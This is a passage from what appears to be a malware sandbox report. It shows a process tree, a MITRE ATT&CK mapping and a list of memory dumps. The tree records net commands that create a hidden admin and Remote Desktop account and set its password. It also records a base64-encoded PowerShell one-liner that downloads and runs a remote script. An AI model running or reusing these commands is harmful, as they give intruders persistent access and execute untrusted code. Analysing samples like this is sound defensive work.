- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2128

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
PID:2272
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1352

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc D2kFlKIV
1⤵
PID:1412
- C:\Windows\system32\net.exe
  net.exe user wgautilacc D2kFlKIV
  2⤵
  PID:3696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc D2kFlKIV
    3⤵
    PID:828

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4056
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2740

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3644
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3916

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:876
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3600

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3872
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:3644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1584-127-0x00000250C1D20000-0x00000250C1D21000-memory.dmp

Filesize
4KB

Download
memory/2148-219-0x0000023FA3EC3000-0x0000023FA3EC5000-memory.dmp

Filesize
8KB

Download
memory/2148-222-0x0000023FA3EC8000-0x0000023FA3ECA000-memory.dmp

Filesize
8KB

Download
memory/2148-218-0x0000023FA3EC0000-0x0000023FA3EC2000-memory.dmp

Filesize
8KB

Download
memory/2148-220-0x0000023FA3EC6000-0x0000023FA3EC8000-memory.dmp

Filesize
8KB

Download
memory/2840-134-0x0000026A41D03000-0x0000026A41D05000-memory.dmp

Filesize
8KB

Download
memory/2840-133-0x0000026A41D00000-0x0000026A41D02000-memory.dmp

Filesize
8KB

Download
memory/2840-136-0x0000026A41D06000-0x0000026A41D07000-memory.dmp

Filesize
4KB

Download
memory/2840-135-0x0000026A41D05000-0x0000026A41D06000-memory.dmp

Filesize
4KB

Download
memory/2840-128-0x0000026A1A7A0000-0x0000026A1AC7B000-memory.dmp

Filesize
4.9MB

Download
memory/2840-131-0x0000026A5A8C0000-0x0000026A5AB6A000-memory.dmp

Filesize
2.7MB

Download
memory/2840-130-0x0000026A1A7A0000-0x0000026A1AC7B000-memory.dmp

Filesize
4.9MB

Download
memory/2944-143-0x0000020031E50000-0x0000020031E51000-memory.dmp

Filesize
4KB

Download
memory/2944-150-0x000002004C220000-0x000002004C221000-memory.dmp

Filesize
4KB

Download
memory/2944-170-0x000002004C760000-0x000002004C761000-memory.dmp

Filesize
4KB

Download
memory/2944-172-0x000002004CAF0000-0x000002004CAF1000-memory.dmp

Filesize
4KB

Download
memory/2944-171-0x000002004A148000-0x000002004A149000-memory.dmp

Filesize
4KB

Download
memory/2944-164-0x000002004A0C0000-0x000002004A0C1000-memory.dmp

Filesize
4KB

Download
memory/2944-157-0x000002004A146000-0x000002004A148000-memory.dmp

Filesize
8KB

Download
memory/2944-144-0x000002004A140000-0x000002004A142000-memory.dmp

Filesize
8KB

Download
memory/2944-146-0x000002004A143000-0x000002004A145000-memory.dmp

Filesize
8KB

Download
memory/3600-261-0x000002B126086000-0x000002B126088000-memory.dmp

Filesize
8KB

Download
memory/3600-260-0x000002B126083000-0x000002B126085000-memory.dmp

Filesize
8KB

Download
memory/3600-259-0x000002B126080000-0x000002B126082000-memory.dmp

Filesize
8KB

Download
memory/3600-262-0x000002B126088000-0x000002B126089000-memory.dmp

Filesize
4KB

Download
memory/3696-216-0x0000018D75868000-0x0000018D7586A000-memory.dmp

Filesize
8KB

Download
memory/3696-215-0x0000018D75866000-0x0000018D75868000-memory.dmp

Filesize
8KB

Download
memory/3696-191-0x0000018D75860000-0x0000018D75862000-memory.dmp

Filesize
8KB

Download
memory/3696-192-0x0000018D75863000-0x0000018D75865000-memory.dmp

Filesize
8KB

Download
memory/3832-224-0x0000029D257D3000-0x0000029D257D5000-memory.dmp

Filesize
8KB

Download
memory/3832-226-0x0000029D257D8000-0x0000029D257DA000-memory.dmp

Filesize
8KB

Download
memory/3832-225-0x0000029D257D6000-0x0000029D257D8000-memory.dmp

Filesize
8KB

Download
memory/3832-223-0x0000029D257D0000-0x0000029D257D2000-memory.dmp

Filesize
8KB

Download